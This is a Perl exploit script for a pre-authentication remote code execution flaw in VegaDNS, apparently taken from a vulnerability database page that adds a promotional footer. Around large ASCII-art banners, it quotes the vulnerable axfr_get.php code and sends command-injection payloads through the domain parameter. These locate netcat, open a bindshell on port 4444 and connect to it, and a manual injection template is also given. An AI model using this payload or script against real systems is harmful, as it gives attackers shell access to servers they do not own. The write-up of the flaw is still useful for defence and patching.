#!/usr/bin/perl
$izd= qq{
ββββββββββββββ βββββββ βββ ββββββ βββββββ βββββββ βββββββ βββββββ
ββββββββββββββ ββββββββ βββββββββββ βββββββββββββββββββββββββββββββββ
βββ βββββ βββ βββββββββ βββββββββββ βββ ββββββββββββββ βββββββββββ
βββ βββββ βββ βββββββββββββββββββββ βββ ββββββββββββββ ββββββββββ
βββββββββββββββββββββββ βββββββββ βββ βββββββββββ βββββββββββββββ
βββββββββββ βββββββ βββ ββββββββ βββ βββββββ βββ βββ βββββββ βββ
};$vg=qq{
β ββββ βββββββ
ββ ββ βββββ ββββββββββββββ
βββ ββββ βββ βββ β βββββ βββββββββββββ
β β βββ βββ ββββ βββββββββββ
βββββ βββββ ββββ βββββββββββββ
βββββββ βββββ βββββ βββ βββββββββββββ ββββββββββ
β ββββββ ββββ ββββ ββ βββ βββββββββββ βββββ
β β ββ βββ βββββββ βββββ ββββ βββ
ββ βββ ββββββ βββββ ββββ βββ βββββ ββ
βββββ βββ ββββ ββββββββββ ββββββββββ β ββββ
ββββββ ββββ ββββββββββββββββββββββββββββ β βββββββ
βββ βββββββββββββ βββββββββββ βββ ββββββββ βββ
ββββ βββββββ ββββββββββββββββββββ ββ β ββββββ ββ
βββββββ ββ βββββββββββββββββββββ βββββββββββ ββ
ββ βββββ βββ βββββββ βββ βββββββ β ββββββ β β
βββββββββββββ βββ ββββββ β βββββ βββββ β ββ
ββββββββββ ββββββββββββ β βββββ β βββ
βββββββ β ββββββββββββββ ββββββββ βββββ βββββ
ββββββββββ βββββββββββ ββββββββββββββββ ββββββ
βββββββββββ ββββββββββββββββββββββββββββββββββββββ
ββββββ βββββ βββββββββββββββββββββββββββ
βββββββββββ βββββββββββββββββββββββββββββ
ββββ β βββββββββββββββββββββββββββββ
βββββββββββββββββββββββ β
ββββββββββββββββββ β β β ββ
βββββββββββββββββββ βββ βββββ
βββββββββββββββββββββββββ βββββββ
ββββ ββββββββββββββββββββββ β ββββ
βββββββββββββββββββββββββββ β β ββββ
ββββββββββββββββββββββββββββ β ββ β ββ
ββββββββββββββββββββββββββββββ β ββββ ββ
ββββββββββββββββββββββββββββββββ β ββββ βββ
βββββββββββββββββββββββββββββββ ββββ ββββ βββ
ββββββββββββββββββββββββββββββββββββββ ββββ ββ
ββββββ βββββββββββββββββββββββββββββ β ββββ βββ
βββββββββββββββββ βββββββββββββββββ β ββββ βββ
βββββββββββββββββ βββββββββββββββββ β ββββ βββ
β ββββββββββββββ ββββ ββββββββββββ β β β ββββ
βββββββββββββββββ βββββββββββ βββ ββββββ
β ββββββββββββββ ββ β βββββ
β β βββ ββββββββ
β β β ββββββββββββββββββ
β βββ βββββββ βββββ ββ
βββ βββββββββ β βββ β
β ββββ βββββββ ββ β
ββββββ ββββββ ββ β β
ββββββ ββββββββ β β β β
βββββββββββββββββ β ββ β
ββββββββββββββββ β βββββββ
ββββββββββββββββββ βββββββββββββ
βββββββββββββββββ βββββββββββββββ
ββββββββββββββββ βββββββββββββ
ββββββββββββ
βββββββββββ
βββββββββββββββ
βββββββββββββββ
};$b=qq{
βββ βββββββββββ βββββββ ββββββ βββββββ ββββ βββββββββββ
βββ βββββββββββββββββββ βββββββββββββββββββββ βββββββββββ
βββ βββββββββ βββ βββββββββββββββ βββββββββ βββββββββββ
ββββ ββββββββββ βββ ββββββββββββββ βββββββββββββββββββββ
βββββββ ββββββββββββββββββββ ββββββββββββββ ββββββββββββββ
βββββ ββββββββ βββββββ βββ ββββββββββ βββ βββββββββββββ
βββββββ ββββββββββββ ββββ βββββββ βββββββββββββββββ
βββββββββββββββββββββ βββββββββββββββββββββββββββββββ
ββββββββββββββ ββββββββββββββ βββ βββ ββββββ
ββββββββββββββ ββββββββββββββ βββ βββ ββββββ
βββ ββββββββββββββ βββ ββββββββββββ βββ ββββββββ
βββ ββββββββββββββ βββ βββββββ βββ ββββββββ
βββββββββββ ββββββββββ βββ βββββββ ββββββββββββ βββββββ βββ βββ
βββββββββββββββββββββββββββ βββββββββββββββββββββ ββββββββββββ ββββ
ββββββ ββββββ βββββββββββ βββ ββββββ βββ ββββββββ βββββββ
ββββββ ββββββ βββββββ βββ βββ ββββββ βββ ββββββββ βββββ
ββββββββββββ ββββββ ββββββββββββββββββββ βββ ββββββββ βββ
βββββββββββ ββββββ ββββββββ βββββββ βββ βββ βββββββ βββ
β
βββ ββββ
βββββ ββββ
ββββ ββββ
ββββ βββββ
βββββ βββββ
βββββ βββββ
βββββ βββββ
βββββ ββββββ
βββββ βββββ
βββββ ββββ
ββββ ββββ
ββββ ββββ
ββββ ββββ
ββββββββββββ ββββββββββββ
ββββ βββββββββββ βββββββββββ βββ
βββββββββββββββββββββββ ββββββββββββββββββββββ
βββββββββ βββ βββ βββββββββ
βββ βββ βββ βββ
βββ ββ β ββ βββ
ββ β ββ β β ββ ββ β βββ ββ ββ
β βββ βββ ββ ββββ ββ ββββ βββ β
ββ βββββββ ββββββββββββ ββββββββ ββ
ββ βββ βββ ββ
ββ β ββ β β ββ
ββββ βββ ββ β β ββ βββ βββ
βββββββββββββ ββ β β β β β βββββββββββββ
βββ β βββ β β βββ β ββ
ββ ββββββ β β β β ββ β ββββββ ββ
ββββββ βββββ β ββ ββ β ββββ ββββββ
ββ β βββββ βββββ β ββ
β ββ
___ .___ .______ ._______._____ .___.__ ._______ .____ .___
.___ | |: __|: __ \ : .____/:_ ___\ : | \ : .___ \ | |___ | |
: | /\| || : || \____|| : _/\ | |___| : || : | || | || |
| |/ : || || : \ | / \| / || . || : || : || |/\
| / || || |___\|_.: __/|. __ ||___| | \_. ___/ | || / \
|______/|___||___||___| :/ :/ |. | |___| :/ |. _____/ |______/
: : :/ : :/
: : :
};$g=qq{
βββββββ βββββββ βββββββββββββββββββββββββββββββββ
ββββββββ βββββββββββββββββββββββββββββββββββββββββ
βββ ββββββββββββββββββ ββββββ βββ βββββ
βββ βββββββββββββββββ ββββββ βββ βββββ
ββββββββββββ βββββββββββββββββββ βββ ββββββββ
βββββββ βββ βββββββββββββββββββ βββ ββββββββ
To all the people with mad skills who share their knowledge:
TecR0c, mr_me, action_dk, bcoles, TheColonial, jduck, hdmoore, rgod, TESO,
mdowd, kernelpool, silviocesare, egyp7, w00 w00, felinemenace, corelan,
lgandx, _sinne3r, alexsotirov, fjserna, solardiz, l0pth, cDc, therealsaumil,
laughing_mantis, g0tm1k, nmrc, and many many more....
};$a=qq^
ββββββ ββββ βββ ββββββ βββ βββ ββββββββββββββββββββββ
βββββββββββββ ββββββββββββββ ββββ βββββββββββββββββββββββ
ββββββββββββββ ββββββββββββββ βββββββ βββββββββββββββββββ
βββββββββββββββββββββββββββββ βββββ βββββββββββββββββββ
βββ ββββββ βββββββββ ββββββββββββββ βββββββββββββββββββ
βββ ββββββ ββββββββ ββββββββββββββ βββββββββββββββββββl
VegaDNS is a tinydns administration tool written in PHP to allow easy
administration of DNS records through a web browser.
-- http://www.vegadns.org
The file axfr_get.php allows unauthenticated access and fails to correctly
apply input escaping to all variables that is based on user input. This
allows an attacker to inject shell syntax constructs to take control of the
command execution.
The following code from axfr_get.php shows how the variable $file becomes
tainted trough the $domain variable which is tainted from direct user input.
The application tries to prevent this by escaping the $domain and $hostname
variables, but fails to escape the $file variable.
---------------------------cut---------------------------
* NOTE:
* This functionality ONLY exists outside of the main application
* because tcplient kept dying fatally due to file descriptor 7
* being unavailable, which only occurs AFTER session_start() is
* called.
*
*/
require_once 'src/config.php';
// CHECKS
// Make sure the hostname was given
if(!isset($_REQUEST['hostname']) || $_REQUEST['hostname'] == "") {
echo "ERROR: no hostname given\n";
exit;
}
// Make sure that some domains were given
if(!isset($_REQUEST['domain']) || $_REQUEST['domain'] == "") {
echo "ERROR: no domain was supplied\n";
exit;
}
$domain = $_REQUEST['domain'];
$hostname = $_REQUEST['hostname'];
$rand = rand();
$file = "/tmp/$domain.$rand";
$command = "$dns_tools_dir/tcpclient -R '".escapeshellcmd($hostname)."' 53 $dns_tools_dir/axfr-get '".escapeshellcmd($domain)."' $file $file.tmp 2>&1";
exec($command, $out);
---------------------------end---------------------------
βββββββββββ ββββββββββ βββ βββββββ ββββββββββββ
βββββββββββββββββββββββββββ βββββββββββββββββββββ
ββββββ ββββββ βββββββββββ βββ ββββββ βββ
ββββββ ββββββ βββββββ βββ βββ ββββββ βββ
ββββββββββββ ββββββ ββββββββββββββββββββ βββ
βββββββββββ ββββββ ββββββββ βββββββ βββ βββ
^;
print "$izd\n"." " x 17 . "VegaDNS pre-auth RCE exploit by \@Wireghoul\n";
print " "."=" x 50 ."[justanotherhacker.com]==\n";
&usage if ($ARGV[0] !~ m!.+://([^/:]+)!);
$h=$1;
print " . . . Locating netcat\n";
$cmd='which+nc';
$t=$ARGV[0]."/axfr_get?hostname=izunadrop&domain=%3b$cmd%3bagev";
$z=`curl -s -k '$t'`;
if ($z !~ m{/nc}) {
print " ! ! ! netcat not found! Manual exploitation required:\n";
print " $ARGV[0]/axfr_get?hostname=izunadrop&domain=%3bCMD%3b\n";
exit 1;
}
print " . . . netcat found: $z\n";
print " . . . Performing IZUNA DROP!\n";
# β Β· β Β· β Β· β Β· β Β· β Β· β Β· β
print " β β β *k* β β *p*\n";
$cmd="$z+-e+/bin/sh+-lp+4444";
$t=$ARGV[0]."/axfr_get?hostname=izunadrop&domain=%3b$cmd%3bagev";
$z=`curl -m 3 -s -k '$t &'`;
print $vg."\n";
print " . . . K.O ! ! ! Connecting to bindshell on $h port 4444\n";
system("nc -v $h 4444");
sub usage { print "Usage $0 http://host/path/to/vegadns\n\n$ARGV[0]"; exit;Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation